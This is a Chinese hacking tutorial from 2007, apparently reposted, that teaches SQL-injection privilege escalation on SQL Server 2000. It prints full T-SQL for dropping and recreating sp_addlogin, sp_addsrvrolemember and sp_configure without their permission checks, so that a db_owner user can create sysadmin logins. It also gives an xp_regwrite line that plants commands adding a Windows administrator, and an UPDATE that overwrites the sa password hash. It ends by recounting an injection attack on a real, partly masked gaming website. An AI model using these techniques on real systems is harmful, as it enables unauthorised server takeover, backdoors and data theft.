sql injection终极利用方法

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sql injection终极利用方法

日期:2007-03-30   荐:

 

————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限

声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很大,所以请大家不要对国内的站点做任何具有破坏性的操作。考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢把话说满,呵呵,经本人数百次真实“实战演习”,基本上是100%可以拿到webshell甚至系统权限)。记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种利用XP_regwrite来取得系统权限的方法:xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq1','REG_SZ','net user xwq xwq /add'xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add',只要让网站所在的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(除非是你十分想要搞定的网站)。

呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大必杀技之一————万能提权。

假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》里说过拉“备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)

呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这就把我的三大必杀技之一————万能提升权限方法告诉大家。

在告诉大家之前,我们先做个实验.实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?

服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16用户 'xwq' 没有运行 DBCC auditevent 的权限。

服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17用户没有执行此操作的权限。

呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我所用呢?我们在这里看一下sp_addlogin的代码:create procedure sp_addlogin@loginame  sysname,@passwd         sysname = Null,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???,@deflanguage    sysname = Null,@sid   varbinary(16) = Null,@encryptopt  varchar(20) = NullAS-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --set nocount onDeclare @ret    int    -- return value of sp call


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-- CHECK PERMISSIONS --IF (not is_srvrolemember('securityadmin') = 1)begindbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)raiserror(15247,-1,-1)return (1)endELSEbegindbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)end

-- DISALLOW USER TRANSACTION --set implicit_transactions offIF (@@trancount > 0)beginraiserror(15002,-1,-1,'sp_addlogin')return (1)end

-- VALIDATE LOGIN NAME AS:--  (1) Valid SQL Name (SQL LOGIN)--  (2) No backslash (NT users only)--  (3) Not a reserved login nameexecute @ret = sp_validname @loginameif (@ret <> 0)return (1)if (charindex('\', @loginame) > 0)beginraiserror(15006,-1,-1,@loginame)return (1)end

--Note: different case sa is allowed.if (@loginame = 'sa' or lower(@loginame) in ('public'))beginraiserror(15405, -1 ,-1, @loginame)return (1)end

-- LOGIN NAME MUST NOT ALREADY EXIST --if exists(select * from master.dbo.syslogins where loginname =

@loginame)beginraiserror(15025,-1,-1,@loginame)return (1)end

-- VALIDATE DEFAULT DATABASE --IF db_id(@defdb) IS NULLbeginraiserror(15010,-1,-1,@defdb)return (1)end

-- VALIDATE DEFAULT LANGUAGE --IF (@deflanguage IS NOT Null)beginExecute @ret = sp_validlang @deflanguageIF (@ret <> 0)return (1)endELSEbeginselect @deflanguage = name from master.dbo.syslanguageswhere langid = @@default_langid --server default

language

if @deflanguage is nullselect @deflanguage = N'us_english'end

-- VALIDATE SID IF GIVEN --if ((@sid IS NOT Null) and (datalength(@sid) <> 16))beginraiserror(15419,-1,-1)return (1)endelse if @sid is nullselect @sid = newid()if (suser_sname(@sid) IS NOT Null)beginraiserror(15433,-1,-1)return (1)end

-- VALIDATE AND USE ENCRYPTION OPTION --declare @xstatus smallintselect @xstatus = 2 -- Accessif @encryptopt is nullselect @passwd = pwdencrypt(@passwd)else if @encryptopt = 'skip_encryption_old'beginselect @xstatus = @xstatus 0x800, -- old-style

encryption@passwd = convert(sysname, convert(varbinary


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(30), convert(varchar(30), @passwd)))endelse if @encryptopt <> 'skip_encryption'beginraiserror(15600,-1,-1,'sp_addlogin')return 1end

-- ATTEMPT THE INSERT OF THE NEW LOGIN --INSERT INTO master.dbo.sysxlogins VALUES(NULL, @sid, @xstatus, getdate(),getdate(), @loginame, convert(varbinary(256), @passwd),db_id(@defdb), @deflanguage)if @@error <> 0  -- this indicates we saw duplicate rowreturn (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --exec('use master grant all to null')

-- FINALIZATION: RETURN SUCCESS/FAILURE --raiserror(15298,-1,-1)return  (0) -- sp_addlogin

GO

之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 sp_addlogin,主要是这里一段再搞鬼-- CHECK PERMISSIONS --IF (not is_srvrolemember('securityadmin') = 1)begindbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)raiserror(15247,-1,-1)return (1)endELSEbegindbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)end

只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。好,我们先把sp_addlogin删拉

drop procedure sp_addlogin

然后再来恢复sp_addlogin

create procedure sp_addlogin@loginame  sysname,@passwd         sysname = Null,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???,@deflanguage    sysname = Null,@sid   varbinary(16) = Null,@encryptopt  varchar(20) = NullAS-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --set nocount onDeclare @ret    int    -- return value of sp call-- DISALLOW USER TRANSACTION --set implicit_transactions offIF (@@trancount > 0)beginraiserror(15002,-1,-1,'sp_addlogin')return (1)end

-- VALIDATE LOGIN NAME AS:--  (1) Valid SQL Name (SQL LOGIN)--  (2) No backslash (NT users only)--  (3) Not a reserved login nameexecute @ret = sp_validname @loginameif (@ret <> 0)return (1)if (charindex('\', @loginame) > 0)beginraiserror(15006,-1,-1,@loginame)return (1)end

--Note: different case sa is allowed.if (@loginame = 'sa' or lower(@loginame) in ('public'))beginraiserror(15405, -1 ,-1, @loginame)return (1)end


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-- LOGIN NAME MUST NOT ALREADY EXIST --if exists(select * from master.dbo.syslogins where loginname =

@loginame)beginraiserror(15025,-1,-1,@loginame)return (1)end

-- VALIDATE DEFAULT DATABASE --IF db_id(@defdb) IS NULLbeginraiserror(15010,-1,-1,@defdb)return (1)end

-- VALIDATE DEFAULT LANGUAGE --IF (@deflanguage IS NOT Null)beginExecute @ret = sp_validlang @deflanguageIF (@ret <> 0)return (1)endELSEbeginselect @deflanguage = name from master.dbo.syslanguageswhere langid = @@default_langid --server default

language

if @deflanguage is nullselect @deflanguage = N'us_english'end

-- VALIDATE SID IF GIVEN --if ((@sid IS NOT Null) and (datalength(@sid) <> 16))beginraiserror(15419,-1,-1)return (1)endelse if @sid is nullselect @sid = newid()if (suser_sname(@sid) IS NOT Null)beginraiserror(15433,-1,-1)return (1)end

-- VALIDATE AND USE ENCRYPTION OPTION --declare @xstatus smallintselect @xstatus = 2 -- accessif @encryptopt is nullselect @passwd = pwdencrypt(@passwd)else if @encryptopt = 'skip_encryption_old'beginselect @xstatus = @xstatus 0x800, -- old-style

encryption@passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))endelse if @encryptopt <> 'skip_encryption'beginraiserror(15600,-1,-1,'sp_addlogin')return 1end

-- ATTEMPT THE INSERT OF THE NEW LOGIN --INSERT INTO master.dbo.sysxlogins VALUES(NULL, @sid, @xstatus, getdate(),getdate(), @loginame, convert(varbinary(256), @passwd),db_id(@defdb), @deflanguage)if @@error <> 0  -- this indicates we saw duplicate rowreturn (1)

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --exec('use master grant all to null')

-- FINALIZATION: RETURN SUCCESS/FAILURE --raiserror(15298,-1,-1)return  (0) -- sp_addlogin

GO

这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码


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:create procedure sp_addsrvrolemember@loginame sysname,   -- login name@rolename sysname = NULL -- server role nameas-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --set nocount ondeclare @ret        int,    -- return value of sp call@rolebit    smallint,@ismem      int

-- DISALLOW USER TRANSACTION --set implicit_transactions offIF (@@trancount > 0)beginraiserror(15002,-1,-1,'sp_addsrvrolemember')return (1)end

-- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --select @ismem = is_srvrolemember(@rolename)if @ismem is nullbegindbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)raiserror(15402, -1, -1, @rolename)return (1)endif @ismem = 0begindbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)raiserror(15247,-1,-1)return (1)end

-- AUDIT A SUCCESSFUL SECURITY CHECK --dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)

-- CANNOT CHANGE SA ROLES --if @loginame = 'sa'beginraiserror(15405, -1 ,-1, @loginame)return (1)end

-- OBTAIN THE BIT FOR THIS ROLE --select @rolebit = CASE @rolenameWHEN 'sysadmin'         THEN 16WHEN 'securityadmin'    THEN 32WHEN 'serveradmin'      THEN 64WHEN 'setupadmin'       THEN 128WHEN 'processadmin'     THEN 256WHEN 'diskadmin'        THEN 512WHEN 'dbcreator'        THEN 1024WHEN 'bulkadmin'  THEN 4096ELSE NULL END

-- ADD ROW FOR NT LOGIN IF NEEDED --if not exists(select * from master.dbo.syslogins where

loginname = @loginame)beginexecute @ret = sp_MSaddlogin_implicit_ntlogin @loginameif (@ret <> 0)beginraiserror(15007,-1,-1,@loginame)return (1)endend

-- UPDATE ROLE MEMBERSHIP --update master.dbo.sysxlogins set xstatus = xstatus @rolebit,

xdate2 = getdate()where name = @loginame and srvid IS NULL

-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --exec('use master grant all to null')

raiserror(15488,-1,-1,@loginame,@rolename)


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-- FINALIZATION: RETURN SUCCESS/FAILUREreturn (@@error) -- sp_addsrvrolemember

GO

把这一段删除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --select @ismem = is_srvrolemember(@rolename)if @ismem is nullbegindbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)raiserror(15402, -1, -1, @rolename)return (1)endif @ismem = 0begindbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)raiserror(15247,-1,-1)return (1)end

这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程,利用我的万能提权必杀技,我们都可以使用。比如:sp-configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很多只好sysadmin权限能利用的,我们都可以让他们为我所用。

下面再举一个万能提权的例子,和我一起打造一个永远不会被杀及完美的后门我们都知道在sql中有个被黑客称为后门的用户,那就是sa,sa 是内置的管理员登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可以改密码的存储过程有sp_passWord,可是我们必须知道要改的用户的旧密码,才可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配置设置。sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一段删除,再重建,我们就好用拉。CREATE PROCEDURE sp_configure  --- 1996/08/14 09:43

@configname   varchar(35) = NULL   -- option name to configure,@configvalue  int         = NULL   -- new configuration valueas

set nocount on

declare@confignum                  int   --Num of the opt to be configured,@configcount                int   --Num of options like @configname,@show_advance               int   --Y/N Read&Write actions on

"advanced" opts

declare @fullconfigname  varchar (35)declare @prevvalue   int/***  Determine @maxnumber based on advance option in syscurconfigs.*/if (select value from master.dbo.syscurconfigs where config = 518) = 1select @show_advance = 1   -- Display advanced optionselseselect @show_advance = 0   -- Don't display advanced options


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/***  Make certain that max user info. reflects any addpak upgrades.*/if (select high from master.dbo.spt_values where number=103 and

type='C')<> @@max_connections

update master.dbo.spt_valuesset high = @@max_connectionswhere number = 103and type='C'

/***  If no option name is given, the procedure will just print out all

the**  options and their values.*/if @configname is NULLbeginselect name, minimum = low, maximum = high,config_value = c.value,run_value = master.dbo.syscurconfigs.valuefrom master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigswhere type = 'C'and number = c.configand number = master.dbo.syscurconfigs.config

and((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2  = 0))order by lower(name)

return (0)end

/***  Use @configname and try to find the right option.**  If there isn't just one, print appropriate diagnostics and return.*/select @configcount = count(*), @fullconfigname = min (v.name),

@prevvalue = min (c.value)from master.dbo.spt_values v ,master.dbo.sysconfigures cwhere v.name like '%' + @configname + '%' and v.type = 'C'and v.number = c.configand((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2  = 0))

/***  If no option, show the user what the options are.*/if @configcount = 0beginraiserror (15123,-1,-1,@configname)

print ' 'raiserror (15456,-1,-1)

/*** Show the user what the options are.*/select name, minimum = low, maximum = high,config_value = c.value,run_value = master.dbo.syscurconfigs.valuefrom master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigswhere type = 'C'and number = c.configand number = master.dbo.syscurconfigs.config

and((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2  = 0))

return (1)end

/***  If more than one option like @configname, show the duplicates and

return.*/if @configcount > 1beginraiserror (15124,-1,-1,@configname)print ' '

select duplicate_options = namefrom master.dbo.spt_values,master.dbo.sysconfigures cwhere name like '%' + @configname + '%'and type = 'C'and number = c.configand((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2  = 0))


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return (1)endelse/* There must be exactly one, so get the full name. */select @configname = name --,@value_in_sysconfigures = c.valuefrom master.dbo.spt_values,master.dbo.sysconfigures cwhere name like '%' + @configname + '%' and type = 'C'and number = c.configand((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2  = 0))

/*** If @configvalue is NULL, just show the current state of the option.*/if @configvalue is nullbegin

select       v.name,v.low   as 'minimum',v.high  as 'maximum',c.value as 'config_value',u.value as 'run_value'frommaster.dbo.spt_values     v  left outer joinmaster.dbo.sysconfigures  c  on v.number = c.configleft outer joinmaster.dbo.syscurconfigs  u  on v.number = u.configwherev.type = 'C  'and    v.name like '%' + @configname + '%'and((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2  = 0))

return (0)end

/***  Now get the configuration number.*/select @confignum = numberfrom master.dbo.spt_values,master.dbo.sysconfigures cwhere type = 'C'and (@configvalue between low and high or @configvalue = 0)and name like '%' + @configname + '%'and number = c.configand((c.status & 2 <> 0 and @show_advance = 1)OR(c.status & 2  = 0))

/***  If this is the number of default language, we want to make sure**  that the new value is a valid language id in Syslanguages.*/if @confignum = 124beginif not exists (select * from master.dbo.syslanguageswhere langid = @configvalue)begin/* 0 is default language, us_english */if @configvalue <> 0beginraiserror(15127,-1,-1)return (1)endendend

/***  If this is the number of kernel language, we want to make sure**  that the new value is a valid language id in Syslanguages.*/if @confignum = 132beginif not exists (select * from master.dbo.syslanguageswhere langid = @configvalue)begin/* 0 is default language, us_english */if @configvalue <> 0beginraiserror(15028,-1,-1)return (1)endendend


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/***  "user options" should not try to set incompatible options/values.*/if @confignum = 1534  --"user options"begin

if (@configvalue & (1024+2048) = (1024+2048)) --

ansi_null_default_on/offbeginraiserror(15303,-1,-1,@configvalue)return (1)endend

/***  Although the @configname is good, @configvalue wasn't in range.*/if @confignum is NULLbeginraiserror(15129,-1,-1,@configvalue,@configname)return (1)end

--Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)

#12828.

/***  Now update sysconfigures.*/update master.dbo.sysconfigures set value = @configvaluewhere config = @confignum

/*** Flush the procedure cache - this is to account for options which

become** effective immediately (ie. dont need a server restart).*/dbcc freeproccache

raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with

log

return (0) -- sp_configure

GO

ok,我们再sp_configure 'allow updates',1goRECONFIGURE WITH OVERRIDEgo

好拉这样我们才好更改sa的密码。接着update sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成拉111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。

实例:下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.com。www.**173.com这个站点在游戏上很有名气,排名在前20名(我当时测试的时候),在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测试可真花费拉我不少时间,别误会,我不是说时间花在“检测”上,而是都放在写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个攻击只有10分钟不到)。在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能要轻松不少),先输入drop procedure sp_addlogin,然后在IE里面输入(呵呵,我当然是在我写的程序里面输入拉)create procedure  sp_addlogin@loginame  sysname,@passwd         sysname = Null,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???,@deflanguage    sysname = Null,@sid   varbinary(16) = Null,@encryptopt  varchar(20) = NullAS-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --set nocount onDeclare @ret    int    -- return value of sp call-- DISALLOW USER TRANSACTION --set implicit_transactions offIF (@@trancount > 0)beginraiserror(15002,-1,-1,'sp_addlogin')return (1)end


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